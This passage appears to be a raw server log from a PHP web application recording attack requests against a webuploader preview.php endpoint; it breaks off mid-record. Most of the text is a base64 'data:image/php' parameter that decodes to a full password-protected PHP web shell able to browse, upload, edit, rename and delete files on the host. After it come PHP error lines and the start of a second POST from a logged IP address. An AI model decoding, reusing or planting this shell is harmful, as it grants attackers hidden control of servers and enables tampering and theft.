'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:27+08:00 ] 116.213.36.234 POST 51tianwei.com/Public/Admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.003930s] [吞吐率:254.46req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 